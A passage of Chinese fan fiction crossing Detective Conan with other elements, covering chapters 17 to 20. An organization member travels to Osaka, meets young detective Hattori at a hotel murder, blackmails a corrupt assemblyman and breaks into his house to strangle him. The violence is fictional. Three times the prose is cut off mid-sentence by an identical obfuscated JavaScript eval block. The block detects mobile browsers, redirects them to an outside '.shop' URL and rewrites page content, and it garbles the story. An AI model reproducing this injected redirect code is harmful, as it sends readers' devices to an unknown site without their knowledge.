虽然郎姆这样想着,但心中却并不觉得他带回组织的那个人是卧底。 毕竟就像斯内普虽然会大脑封闭术,但还是会给伏地魔看自己的记忆,要是什么都不给伏地魔看,那简直就是把“我有问题”写在脸上。 所以对于这件事,郎姆有一个猜测,导致他担忧的同时有些没那么着急。 因为朗姆能隐隐感觉到,Boss对“什么都没查出来”这个结果,似乎很满意。 17. 抵达大阪 琴酒给的任务是让他去大阪跟某个组织会面,不是很急,但夜神信还是收到消息的第一时间就乘坐新干线去了。 哦,主要是苏格兰去了,因为这个任务需要狙击手,而夜神信作为谈判人员去得比狙击手晚有点不像话,所以就跟着苏格兰一起去了。 而去的太早的结果就是——会面时间在第三天,组织也没有给在大阪的安全屋。 于是夜神信和苏格兰打算先找一个酒店住两天。 “你好,小姐。”苏格兰笑着对前台小姐打招呼,那笑容温和得体,配上他那张人畜无害的脸,很容易让人心生好感,“麻烦给我们开两间房。” 前台小姐微笑着点了点头,低头操作电脑。 “两间单人房,对吗?” “对。” “好的,请稍等。” 夜神信站在旁边,看着苏格兰和前台小姐闲聊——聊天气,聊大阪的美食,聊这家酒店的服务。 苏格兰的语气很自然,像是在和认识很久的朋友聊天,完全听不出有套话的意味。 因此知道苏格兰不是什么好人的夜神信一边听着,一边在心里默默感叹:这人是真适合打倒钩养猪。 属于是会和侦探互穿身份然后反手背刺侦探的那种人。 哦等等,那好像就是自己来着。 “好了。”前台小姐动作很快,把两张房卡递过来,“702和703,隔壁房间。祝你们入住愉快。” 苏格兰接过房卡,道了谢,和夜神信一起往电梯走。 电梯里只有他们两个人。 苏格兰把其中一张房卡递给夜神信:“你住703,我住702。有什么事随时叫我。” 夜神信接过房卡,点了点头。 电梯在7楼停下,两人走出电梯,找到各自的房间。 不太熟的两人谁也没说话,刷卡进门。 门关上的那一刻,夜神信靠在门板上,终于松了口气。 他环顾了一下四周,先开始检查房间,以免有针孔摄像头或者窃听器之类的小玩意儿。 确认完毕后,他开始预估这次任务。 会面对象是乡思宗太郎,府议会议员,他表面上是清廉正直的议员,实际上与多家黑心建筑公司有利益输送,通过职权压低公共工程的竞标价格,从中抽取巨额回扣。组织看中的正是他在土地审批和港口管理上的话语权——那个位置能帮组织“合法”地处理一些不方便走正常渠道的货物。 这次会面内容也是常规的合作试探:组织出钱,他出权,双方各取所需。 ……所以想都不用想,那家伙肯定不会轻易同意。 毕竟身处高位的乡思宗太郎不清楚组织的恐怖,莫名其妙被要求为犯罪组织做事,只会被狠狠拒绝甚至警惕起来——说不定转头就报警了。 而且组织没有拿到那家伙的把柄,也没办法用家人做威胁。 他的父母几年前出车祸死了,自己也没娶妻生子,倒是有几个情人,但想也知道恐怕没什么威胁力。 这次谈判肯定不会成功。 夜神信理所当然的这样判断道。 另一边。 诸伏景光躺在702的床上,盯着天花板。 五天前,他提交了对夜神信的考核报告。报告中,他推荐对方去策划组——一个接触核心情报相对较少、但又能发挥其战略思维的部门。 他自认为这个推荐很合理,既没有压分,也没有过度拔高。 虽然不抱希望,等他内心虔诚地向上帝祈祷,他和新人的关系最好只是一次考核的考官和被考人,考核结束了,你去策划组我待行动组,大家好聚好散。 但他还是和新人做了同一个任务。 诸伏景光:“……” 美国的上帝果然没用。 本来他都认命了,打算提高自己的警惕心,但他今天却收到了来自朗姆的邮件,告诉他留意新人的动向,新人可能是卧底,不论新人做出什么动作都要第一时间告知他。 收到邮件时诸伏景光还在和新人一起乘坐新干线呢,当时新人就在自己旁边,所以看见邮件内容时没有当场把手机吓掉都是自己意志力够强。 他深吸一口气,又呼出来。 然后演技超高地装作删掉了一个垃圾邮件的样子删掉了郎姆的邮件,顺便观察新人的反应,想看看新人有没有看见邮件内容。 但很遗憾,观察结果是他这么高超的演技居然无人欣赏。 …… 半夜。 夜神信是被一声尖叫吵醒的。 “啊——!” 女人的尖叫声从隔壁那边传来。 顿时,走廊里传来杂乱的脚步声,陌生人询问的声音,小孩被吵醒的哭声,女人惊慌的议论声,男人粗声粗气的呵斥声。混乱,嘈杂,像一锅煮沸的水。 夜神信认真听了几秒,慢慢放松下来。 不是冲他们来的。 他坐到床边,不紧不慢地穿上鞋,又理了理睡衣的领口,没打算睡了。 毕竟发生了命案,警察很快就会来问话,比起被警察用备用钥匙开门叫醒,还不如一开始就别睡。 果不其然,五分钟后,警笛声由远及近。 红蓝灯光在窗帘上闪烁,映出诡异的色彩。走廊里的嘈杂声更大了,有人在喊“警察来了”,有人在小声议论“死人了”,还有人在抱怨“真晦气”。 夜神信走到窗前,掀开一条窗帘缝隙往下看,两辆警车停在酒店门口,几个制服警察匆匆走进来。 果然,没过多久,走廊里传来敲门声和警察的排查声:“您好,警察,请开门配合调查。” 声音由远及近,夜神信正站在自己门后等着,听到隔壁苏格兰的门打开了,才适时地也跟着打开门走出去。 门口站着两个穿制服的警察。其中一个在询问并安抚目击证人,另一个——年轻些的,戴着眼镜,一脸老好人的表情——正对苏格兰说话。 “打扰了,两位。”年轻的警察微微欠身,目光扫过夜神信和苏格兰,礼貌地问,“我是大阪府警东尻署搜查刑事一科的坂田佑介。隔壁发生了案件,需要向各位询问些情况。” 他顿了顿,看了看两人一前一后出来的状态,犹豫道:“两位是一起的吗?” 毕竟开了两个房间,但一起出来还像是认识的,警察不确定也正常。 “是的,我和同事出差。”苏格兰侧身让警察进门,自然地解释道,语气平和,脸上带着恰到好处的配合。 夜神信点了点头,算是确认。 坂田佑介跟着他们进了苏格兰的房间,例行公事地问了几个问题:几点入住,有没有听到什么,认不认识隔壁的人。苏格兰一一回答,语气温和,偶尔还反问两句关于案件的情况,像个体贴的普通住客。 夜神信站在一旁,一言不发,目光偶尔扫过门外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305108|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,走廊里传来一个年轻的声音,带着大阪特有的腔调:“坂田哥,带我去看一下现场!他们把我赶出来了!” 一个皮肤黝黑的少年挤过人群走进来,不满的抱怨道,看到陌生人也没收敛,反而在看到苏格兰和夜神信时饶有兴致地打量。 “服部?”坂田佑介有些无奈,“你怎么又跑来了,这不是你该——” “他们把我吵醒了!”少年辩解道,“而且他们明明什么都看不出来,却又不想让我进去,说我会破坏案发现场!而且他们得出的结论居然是入室抢劫!” “门锁是完好的,窗也锁着,”少年像是为了证明自己似的自顾自地说下去,“但死者脖子上有明显的勒痕,凶器没找到,典型的密室杀人案啊。” 夜神信的视线随着少年的话语落在少年身上。 初中生年纪,穿着运动装,却一副刑警的架势。 夜神信挑了挑眉。 现在大阪的小孩都这么早熟? 不过看这架势,多半是警察家属之类的,从小耳濡目染,对案件有着异乎寻常的热情。 他不久前才见过类似的人,商场爆炸案的初中生侦探。 还都是小小年纪就爱往案发现场凑的类型。 不过这种热情通常活不过成年——要么被现实磨平,要么被罪犯掐灭。 夜神信很想对此有什么兔死狐悲或者好笑的感觉,但是一想到侦探,心情就只会变得差劲,还导致很难对面前这个和之前侦探相似的无辜小孩有什么好感。 “这是我朋友的孩子,”坂田佑介低声向苏格兰和夜神信解释了一句,看脸上的表情明显是有点被少年说服了,但还是没有同意,又转向少年,“服部,别捣乱。这不是你该掺和的事。” “我没捣乱!”服部平次不服气地反驳,目光在房间里转了一圈,突然停在夜神信身上。 沉默了两秒。 他犹豫着若有所思地说:“……你好像一点都不惊讶?” 服部平次之所以这么问,是因为从进门开始,这个人就几乎没说过话,也没动过。 应该是这个人过于冷静了吧,他的同事脸上都在微微皱眉,还有几个住客在走廊里探头探脑,就这个人一脸平静的样子。 而且不知道为什么,他总觉得这个人身上有种说不出的感觉。 夜神信没回答,只是看着他,眼神淡淡的,没有任何情绪。 服部平次没有得到回答也不恼,转而换了个话题:“你以前也见过命案现场吗?” “服部!”坂田佑介提高了声音,这次是真的有些头疼了,“你别随便打扰客人——” “因为很不真实,”夜神信终于开口,声音不咸不淡,“死人什么的。” 他的回答中规中矩,既没有否认见过命案,也没有承认,只是轻飘飘地把话题带了过去。 服部平次眨了眨眼,似乎还想再问什么,但坂田佑介已经拉住他的肩膀往外带:“行了行了,别在这儿添乱了。你不是想看现场吗?我带你去看一眼,看完就回去睡觉,听见没?” “真的?!”服部平次的注意力立刻被转移,眼睛亮了起来,“那么我们快走吧!” 两人的脚步声渐渐远去。 “发生命案了啊,”不远处的苏格兰笑了笑,语气轻松,“看来今晚是别想睡踏实了。” 夜神信点了点头,没多说什么,转身回了自己房间。 18.阴谋家的行动 “听说了吗?昨天那个案子破了。” “真的?这么快?” “说是那个死者的丈夫杀妻骗保,啧啧,看着挺老实一个人。” “可不是嘛,我听说是为了给女儿攒学费才……” “哎呀,也是一个可怜人……” 夜神信搅拌咖啡的手顿了顿。 他坐在酒店提供的餐厅里,旁边一桌几个女人还在叽叽喳喳地说着犯人怎么被一个初中生戳穿的,怎么当场跪下痛哭的,怎么被警察带走的时候还说什么“我也是没办法”、“我这么做都是为了这个家”。 夜神信听着,脸上没什么表情。 又是这种故事。 杀妻骗保。 那个男人大概也是这么说的吧,为了女儿,为了这个家,被逼无奈,走投无路。 跪在地上哭着忏悔的时候,大概连自己都信了。 但夜神信只觉得这个人的谎言实在太拙劣了。 明明是那种敢在会议上说出来就会被侦探团全票打飞的劣质谎言,真不知道为什么会有人因为那几句话而可怜他。 口口声声说着爱,说着不得已,说着无可奈何,然后把刀刃捅进最亲近的人心口。 他们哭得那样真诚,以至于有时候连警察都会动摇。 可是啊。 真正爱一个人,怎么可能舍得让她死? 真正为了女儿,怎么可能让女儿失去母亲,还要一辈子活在“我爸爸杀了我妈妈”的阴影里? 他爱的从来不是女儿,不是妻子,只是自己那个“迫不得已的好人”的形象。 夜神信之所以会对那个人产生鄙夷的情绪,还是因为两天前的事。 那天下午,子安观刚下班从商场后门出来,正想着晚上吃什么,一个陌生男人叫住了他。 “您好,请问是子安先生吗?” 子安观回头,看见一个三十来岁的男人,穿着普通的灰色夹克,表情有些焦急。 男人长得很普通,扔进人群里找不出来的那种,此刻眉头紧锁,额角似乎还有汗珠。 “我是商场保安部的,”子安观说,“有什么事?” “天台那边有个人,看起来像是要跳楼,”男人指了指楼顶,声音里带着些许的紧张,“我喊了几声没反应,您能跟我上去看看吗?我怕我一个人处理不了。我已经打了报警电话,但他们说还要一会儿才能到,我怕来不及……” 子安观顺着他的手指往上看。商场的天台在五楼,从下面只能看到灰色的栏杆。 他眯了眯眼睛,什么也看不见。 换作这种情况修士应该能派上很大用场吧。 不过虽然什么都没看到,但子安观也没多想,毕竟这种事不是第一次遇到,商场的天台平时锁着,但偶尔会有人想办法撬锁上去。 想恶作剧的、想找刺激的、想拍视频的,什么人有。 他点了点头,跟着那个男人往楼梯口走。 经过员工通道的时候,他还顺手拿了对讲机,想着万一需要支援能用上。 男人走在他前面半步,步伐很快,像是真的很着急,他一边走一边说:“那人看着三四十岁,站在天台边缘,太危险了。我喊他他也不应,就那么站着,我真怕他一个想不开就……” “知道了,”子安观说,“你先别急,我上去看看情况。” 楼梯很窄,只能容两个人并排。 子安观走在后面,能闻到男人身上淡淡的烟味,还有一股说不清的紧张气息。他当时只以为对方是普通人遇到突发事件紧张,没有多想。 天台的门确实开着。 生锈的铁门虚掩着,门缝里透出刺眼的阳光。子安观推门出去,阳光刺得他下意识眯了眯眼睛,抬手挡了一下。 然后脖子上一紧。 有什么东西勒住了他的脖子。 他反应过来的瞬间,绳子已经勒进了皮肉。 身后的人喘着粗气,整个人压在他背上,用全身的力气往后拽。那股力量来得突然而猛烈,子安观踉跄了一步,差点摔倒。 绳子勒得很紧,他能感觉到皮肤被割裂的疼痛,能感觉到呼吸变得困难。身后那个人的喘息声就在耳边,粗重,颤抖,带着一种疯狂的决绝。 子安观的第一反应不是害怕,而是—— 这人手劲不太行,这都敢和他拼刀吗? 这个念头闪过的时候,他甚至没来得及思考“为什么有人要杀我”这个问题。身体比意识更快地做出了反应。 一瞬间,拳头砸在什么硬东西上,应该是颧骨或者太阳穴附近。身后的力道瞬间消失,绳子松开,有人直挺挺地倒在地上,发出沉闷的声响,像一袋土豆摔在水泥地上。 子安观转过身,低头看着地上那个昏死过去的男人。 灰色夹克,三十来岁,额头上鼓起一个包,正以肉眼可见的速度变青变紫。他仰面躺在地上,嘴巴微张,呼吸倒是平稳,就是昏得彻底。 正是刚才叫他上天台的那个人。 子安观摸了摸自己的脖子,疼。 绳子的勒痕应该已经紫了,摸上去火辣辣的。他站在天台上,风呼呼地吹过来,凉飕飕的,后背的衬衫已经被汗浸透了。 他低头看着地上那个人,沉默了很久。 然后他掏出手机,报警,叫救护车。 等待的时候,他在天台边缘坐下来,点了一根烟。风很大,打火机点了三次才点着。他深吸一口,看着远处城市的轮廓,看着楼下车水马龙的街道,看着那些毫不知情继续生活的人们。 他想了很多,又好像什么都没想。 后来警察告诉他,那个男人暗恋手表店的收银员野泽小姐。 也是当天商场炸弹和子安观打过招呼的人。 而野泽小姐因为子安观帮她解过几次围——有醉汉骚扰她的时候,有顾客为难她的时候,有次甚至是一个偷拍裙底的变态——所以对这位保安大叔挺有好感,偶尔会给他带自己做的便当,会在下班时说一声“子安先生辛苦了”。 就仅仅只是这样的关系而已。 “他说是因为太爱她了,”警察翻着笔录,表情有些复杂,“说看见她对你笑,就受不了。说他每天躲在暗处看她,从来不敢说话,从来不敢靠近,只能远远地看着。看见她对你笑,对你说话,给你带便当,他就……” 警察没说下去,只是摇了摇头。 子安观听完,沉默了很长时间。 野泽小姐后来专程来道歉。她辞了职,换了手机号,说要换个地方重新开始,换个没有人知道这件事的地方。 明明是那个男人做错了事,明明是那个男人要杀人,她却觉得是自己的错,是自己害得子安先生差点被杀。 “子安先生,真的对不起……” 她鞠躬的时候,眼眶是红的,声音是抖的,整个人都在微微颤抖。 子安观看着她,忽然问了一句:“你认识他吗?” 野泽小姐愣了一下,摇头。 “没有,”她说,“我都不记得他是谁。收银台每天那么多人,我每天要见几百张脸,我怎么可能记得住一个从来没说过话的人?我根本不知道他是谁,不知道他长什么样,不知道他叫什么名字。我……” 她没说完,眼泪掉下来,大颗大颗地砸在地上。 子安观没有再问。 那天晚上他躺在床上,盯着天花板想了很久。 那个男人说爱她。 如果真的爱她,怎么可能让她在完全不知情的情况下,背负这种莫名其妙的愧疚?怎么可能让她因为自己的一厢情愿,不得不辞掉工作、逃离这座城市,像一个逃犯一样重新开始? 如果真的爱她,怎么会让她成为所有人议论的对象——“就是那个被暗恋的女人,害得人家要去杀人”——即便这不是她的错? 如果真的爱她,怎么可能连一句话都没对她说过,就敢说自己爱她? 他不爱她。 他只是爱自己。 爱自己那份得不到回应的“深情”,爱自己那种“我为你去杀人”的悲壮感,爱自己那个“默默守护的暗恋者”的形象。 他爱的从来不是那个活生生的女人,而是自己想象中的那个爱情故事。 就像那个杀妻骗保的男人,跪在地上哭着说“我也是为了女儿”。 他也是爱自己。 爱自己那个“被逼无奈的好父亲”的形象,爱自己那份“我也是没办法”的自我感动,爱自己那个“我牺牲了那么多”的悲情角色。 他们都是一样的。 口口声声说着爱别人的人。 说到底,他们爱的从来只有自己。 “那个,先生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313034|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面的声音把他从回忆里拉了回来。 夜神信抬起眼,看见对面的人勉强笑着,表情里带着困惑和警惕。 “我不太理解你在说什么,”对面的人说,“什么叫你知道我父亲死亡的真相?” “就是字面意思。”夜神信回过神,对着面前的人说道。 啊,面前这个人是坂田佑介警官,是昨天处理那起杀人案的人。 他之所以会出现在这里,是因为夜神信对那个叫乡思宗太郎的家伙有些自己的想法。 于是夜神信调查了一下乡思宗太郎,却在调查到的资料里发现了另一件事。 一件让他决定来见坂田佑介的事。 反正都注定会被苏格兰狙死了,他稍微改变一下他的死法有什么问题吗? 说不定他还会因为自己给他的活路而活下来呢。 他放下咖啡杯,抬眼看向对面那个强装镇定的男人。 “是他和另外三人杀害了你的父亲,”夜神信冲他微笑,嘴里说出的话却不怎么友好,“难道我说的不够清楚吗?” …… 坂田佑介原本有个幸福的家庭。 父亲是驾校教练,严肃但不失温和,每次学员通过了考试,回家都会高兴地喝两杯。母亲是家庭主妇,会做一手好菜,会在父亲加班时把饭菜热了又热。 一家人在小小的房子里过着平淡的日子,周末偶尔去公园,偶尔去附近的温泉,偶尔什么都不做,就窝在家里看电视。 但这一切在父亲死亡后全部消失了。 父亲的葬礼上,亲戚朋友和他的学生来吊唁,哭得比谁都伤心,但窃窃私语却没停一下。 当教练的还酒驾,真活该。 坂田佑介不相信自己那个连学生喝酒都要训斥半天的父亲会酒驾,于是拼命考上警校,成为刑警,发誓要调查清楚父亲死亡的真相。 可是十七年以来,他什么都没查到。 所以接到那个电话的时候,他的第一反应不是警惕,而是惊喜。 直到电话挂断冷静下来后,才开始查那个号码。 空号。 尽管如此,他还是来到了约定见面的地点。 他见到了昨天案发现场一脸冷漠的那个人。 昨天见到这个人的时候,他周身笼罩着生人勿近的气息,像一把收在鞘里的刀。今天再见,那张脸却变得亲切温柔起来,像是邻家温和的兄长。 “是他和另外五人杀害了你的父亲,难道我说的还不够清楚吗?” 说出来的话却很锋利。 对面的人把一个笔记本电脑推过去,示意他看上面的内容。 上面的内容很简单,杀害父亲的凶手正是他的学生,他们把父亲的刹车搞失灵,而这么做的原因,只因为想看见平常严厉的驾校老师惊慌失措的样子。 而里面自然还包含着监控视频和照片等证据。 坂田佑介看着那些字,字迹开始变得模糊,他眨了眨眼,才发现是自己的眼眶湿了。 十七年。 他查了十七年。 而真相就在这里,在这几张纸里,在对面这个陌生人的手里。 “为什么?”他听见自己的声音,沙哑得像从很远的地方传来,“为什么现在才告诉我?” 对面的男人没有回答。 想来也知道,非亲非故的,他凭什么要去为了一个陌生人调查真相?又凭什么知道真相后必须去告诉受害者? 这样想着,坂田佑介抬起头,重新打量对面这个人。 刚才第一眼见到的时候,他觉得这个人温和、亲切,笑容让人莫名放松。但现在再看,那张脸上的温和像是一层面具,面具下面是深不见底的平静。 他不像是个多管闲事的好心人。 也不像是个想要什么的勒索者。 “你想要我做什么?”于是坂田佑介悲痛之后,他向面前的男人这样询问道。 他需要做点什么。需要抓住点什么。需要让这十七年的等待有个着落,让父亲的死有个交代。如果对面这个人要他做什么,无论多难,他都会去做。 面前的男人笑了。 那笑容依然是温和的,眉眼舒展,嘴角的弧度恰到好处,像是真的为他高兴。 “我不需要任何东西,”男人说,“我只需要你知道真相,仅此而已。” 19. 乡思宗太郎的死亡倒计时 乡思宗太郎没想到居然还有极道组织敢威胁他。 从政三十年,他什么风浪没见过? 早年在区议员时期被对手泼过脏水,中期被同僚背后捅过刀子,前些年的贪污受贿舆论也不过是他政治生涯中的一次小感冒——花点钱摆平媒体,找一个替罪羊,再低调一阵子,风波自然就过去了。 事实证明他判断得没错,这两年他的后劲反而更足了,不仅连任成功,还在党内派系中站稳了脚跟,隐隐有向更高处攀爬的势头。 大阪府警本部里,那些曾经对他爱答不理的官僚们,如今见了他哪个不是恭恭敬敬喊一声“乡思议员”?逢年过节的问候从不落下,偶尔路过本部,连本部长都会亲自出来寒暄几句。 这种地位,这种能量,区区极道组织也敢把算盘打到他头上? 他嗤笑一声,把那条威胁短信删了。 几天后,第二封邮件来了。 这次的发件人换成了匿名账户,邮件内容也比上次简洁得多,只是翻出一桩早就过了追诉期的陈年旧事。 邮件的要求是,想要这件事不公开,就乖乖为他们组织做事。 乡思宗太郎盯着屏幕,愣了几秒,然后真的笑出了声。 就这? 他承认,如果这事被翻出来,确实会有些麻烦——媒体会炒作,政敌会借题发挥,选民会质疑他的人品。 但麻烦归麻烦,远没到让他铤而走险的程度。 况且那都是十七年前的事了,证据在哪里? 就算真有材料流出来,他大可以推给年轻不懂事,或者干脆说是竞争对手伪造的。 以他现在的地位和人脉,摆平这种陈年旧账,不过是多花点公关费的事。 为极道组织做事?开什么玩笑。 一旦沾上这个,才是真正的万劫不复。 他拿起电话,打给手下的亲信:“给我查这个邮件的IP,我倒要看看是哪个不知死活的东西。” 亲信在电话那头应了。 挂断后,他又把邮件翻出来看了一遍,想了想,敲下一行字回复过去:“你就拿这个威胁我?” 邮件提示音很快响了。 对面只有一句话:“即使让警察知道也没有关系吗?” 乡思宗太郎盯着那句话,嘴角扯出一个嘲弄的弧度。 警察? 警察系统里有多少人欠他人情,有多少事需要他点头,对方怕是根本想象不到。 他敲下回复,语气里带着不加掩饰的轻蔑:“随你怎么说,如果你有胆子的话。” 对面没有再回复。 没过多久,亲信的电话打了回来。 “议员先生,查了一下,IP是国外的虚拟服务器,用了多层跳板,技术部门说查不到源头。” 乡思宗太郎皱了皱眉,但很快又松开了。 这种事他见得多了,无非是哪个不知天高地厚的家伙想敲诈一笔,发现没戏就缩回去了。 也许是某个被他得罪过的小人物,也许是哪个不入流的极道组织想玩票大的,发现踢到铁板就识趣地收手了。 “行了,不用管了。”他对着电话摆摆手,仿佛对方能看见似的。 亲信应了一声,挂断电话。 乡思宗太郎站起身,走到窗前。大阪的傍晚刚刚拉开序幕,不远处,城市高楼的灯光刚刚亮起,在黑暗中显得格外醒目。 那些亮着灯的窗户里,有多少人还在为房贷发愁?有多少人正在为孩子的学费精打细算?有多少人一辈子兢兢业业,也爬不到他现在的位置? 他忽然有些感慨,又有些自得。 三十年的摸爬滚打,这个位置,这份底气,是他一步一步挣来的。 区区一个两年前就过了追诉期的事就想让他就范? 天真。 …… 从酒店离开后,夜神信在街角拐了个弯,确认前后无人,闪身进了一条窄巷。 巷子深处堆着几只发霉的纸箱,墙角有野猫翻找垃圾的痕迹。 他靠在墙上,闭上眼睛,再睁开时,他已经从一米八变成了一米四。 说实话,在昨天晚上决定杀掉乡思宗太郎后,他就有让神偷去杀以此完成任务的打算了。 之所以专程跑这一趟,把真相告诉一个绝对不会被收买的警察,是为了工作留痕。 至于为什么干了这样一件蠢事,作为犯罪组织的成员却要工作留痕—— 是因为那种不妙的预感和违和感让夜神信心中隐隐有了猜测。 恐怕上次所谓的考核任务是假的,这次才是真正的考核吧? 看看新人有没有能力把一件注定失败的任务盘活? 还是说,想看看他在面对死局时,会选择死磕到底,还是另辟蹊径? 如果组织真是这么想的,那夜神信觉得自己可能要让组织失望了。 因为他只在这次任务上稍微努力了一下——特指去查了乡思宗太郎,还发了封邮件威胁对方。 在发现对方不领情之后,他的解决方案就只剩下一个了。 他低头看了看自己这一身打扮——黑色斗篷,立领衬衫,还有银色十字架吊坠。 虽然有点中二但还是很潮很酷的穿搭。 他心中莫名的稍微满意了一下,然后才走出巷子,随手招呼了一辆出租车。 “去郊外,北山町那边。” 司机是个四十多岁的中年男人,他透过后视镜往后座瞄了一眼,脸上露出几分疑惑。 夜神透面不改色地靠在座椅上,面对别人看中二病的目光时的心理素质很强。 他知道自己在别人眼里是个什么形象,大晚上的穿一身圣诞节木乃伊装扮,不是刚从小孩子的化妆舞会出来,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316650|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是脑子有问题。 好在司机见多识广,没多问,一脚油门上了路。 车窗外的景色从高楼大厦渐渐变成低矮的民宅,再变成稀疏的树林。 夜神透靠在座椅上,闭目养神,脑子里却在过着乡思宗太郎别墅的平面图——昨天他已经在网上搜过地产登记信息,记住了建筑结构、门窗位置、安保公司的名称。 甚至顺手查了一下那家安保公司的漏洞。 很遗憾,这不是什么想查就能查出来的东西。 …… 二十分钟后,出租车停在一条偏僻的县道旁。 司机指着前方的路牌:“小鬼——小朋友,再往前就是私人区域了,我只能送到这儿。” “够了。”夜神透付了钱,下车。 暮色已经完全沉下来,四野寂静,只有远处的别墅亮着暖黄色的灯光。 他站在路边的树影里,确认周围没有行人,没有过路的车辆,没有隐藏的摄像头—— 然后他消失了。 不是躲进阴影,不是利用视觉死角,是真正字面意义上的消失。 他光明正大地掠过别墅外的保安岗亭,那个正在低头刷手机的年轻保安甚至没有抬头,专业素质比子安观差上两条街。 而展现在夜神透面前的,是一栋位于郊外的独栋别墅,带花园、带围墙、带保安。 标准的有钱人配置,也标准的防君子不防小人。 大门紧闭,但神偷可从不走大门。 他绕到别墅侧面,抬头看了一眼二楼的窗户,推拉式,没锁,窗台上还摆着一盆快枯死的绿萝。 神偷犹豫一下,看着自己才缠到手掌的绷带,开始担心会不会留下指纹。 他从系统背包里翻了一下,没找到手套之类的东西,但是看见了绷带。 于是他把绷带取出来,把每根手指都缠好,这才后退两步,助跑,起跳,手指扣住窗沿的缝隙,翻身而上,动作干净利落,没有发出一点声响。 打开窗户后,夜神透侧身钻进去,双脚落在木地板上,几乎没有声音。 他站在原地,让眼睛适应室内的光线,同时竖起耳朵听周围的动静。 楼下隐约传来电视的声音,提示着有人在客厅,也许就是乡思宗太郎本人。 正巧,电视里正在播晚间新闻,主持人播报着某条娱乐性新闻,乡思宗太郎似乎还哼了一声,像是在对电视里的内容表示不屑。 确认了乡思宗太郎确实在这个别墅的这个好消息后,夜神透的嘴角微微勾起。 二楼是卧室和书房,心情很好的他打算先搜一遍——不是偷窥这位议员不为人知的什么小爱好,而是确认有没有其他人,顺便等这位议员回到自己的卧室。 毕竟夜神透有点不敢相信这种日式木别墅的隔音设置,还是让乡思议员回到隔音更好的卧室更保险一点。 20.绝对无法用科学解释的事 乡思宗太郎懒洋洋地靠在沙发上,手里的遥控器漫无目的地切换着频道。 电视画面一闪,跳到一个访谈节目,主持人正一脸崇敬地采访一个长相帅气的初中生。屏幕下方的字幕写着:“天才少年协助警方破获悬案——困扰警视厅七年的连环盗窃案告破”。 乡思宗太郎嗤笑一声,手指停在遥控器上。 初中生?破案? 他眯起眼睛看着屏幕上那个自信地笑着的孩子,心里涌起一阵不屑。 现在的媒体真是越来越离谱了,为了收视率什么噱头都敢炒。 一个初中生能懂什么?不过是警方内部腐烂的借口,找个孩子来背锅演戏罢了。 真正破案的还是那些老刑警,只是功劳被上面的人抢走,最后推个“天才少年”出来糊弄民众。 这种事他见得多了。 政治圈里不也一样?明明是底下人熬了多少个通宵做出来的政绩,最后上台领奖、接受采访的永远是那几个会来事的。 民众要英雄,媒体要话题,那就造一个出来。 什么天才少年,不过是嘘头罢了。 他换了个台。 综艺节目,一群艺人夸张地笑着。 再换。 电视剧,男女主角在樱花树下深情对视。 再换。 新闻,某地某高官贪污受贿被抓,法庭即将开庭。 靠!还不如看刚刚那个冲野洋子的综艺呢! 乡思宗太郎越看越有一股无名火,终于按灭了电视,客厅里一下子安静下来。 他看了眼时间,也该休息了。 明天还有一场内部会议,要跟那几个老狐狸周旋预算的事。后天得去参加一个慈善晚宴,做做样子捐点钱。大后天…… 他一边想着接下来的行程,一边慢悠悠地走上楼梯。 二楼走廊尽头是他的卧室。 他推开门,走进去,随手把门带上,然后习惯性地按下门锁,咔哒一声,锁舌弹进锁槽。 卧室很黑,他转过身,随手开了灯—— “你家里怎么这么多针孔摄像头和窃听器?” 一道过于年轻的声音突然在身后响起。 乡思宗太郎浑身一僵,心脏像是被人狠狠攥住,他猛地转过头,看向声音传来的方向。 自己面前的不远处,站着一个过于矮小的人。 那是一个全身缠满绷带的身影,绷带从指尖一直缠到脖颈,只在脸部露出一只黑色的眼睛。他穿着一件黑色的斗篷,个子很矮,矮到像个小学生。 他手上拿着几个黑色的小物件,在灯光下晃了晃。 那是针孔摄像头和窃听器。 “你还有偷窥自己的癖好吗?”那个绷带小学生歪着头,一脸鄙夷地问。 乡思宗太郎的瞳孔骤然收缩。 他脑子里飞快地闪过无数个念头,但身体的本能已经先于理智做出了反应。 “你他妈怎么进来的?!”他怒吼出声,声音在安静的卧室里炸开,连他自己都被吓了一跳,“该死的!保安!保安!” 或许是他吼的声音太大了,对面的绷带小学生烦躁地皱起眉,用缠满绷带的手捂住了耳朵。 “吵死了吵死了。”他的语气里带着不加掩饰的厌烦,“不解答我的问题就算了,死到临头为什么还要说这些无意义的废话啊?!” 话音未落,他动了。 那个小小的身影以一种完全不符合身形的敏捷向乡思宗太郎扑来,速度快得几乎看不清动作。 下一瞬,乡思宗太郎的脖颈就被一双缠满绷带的手死死扼住。 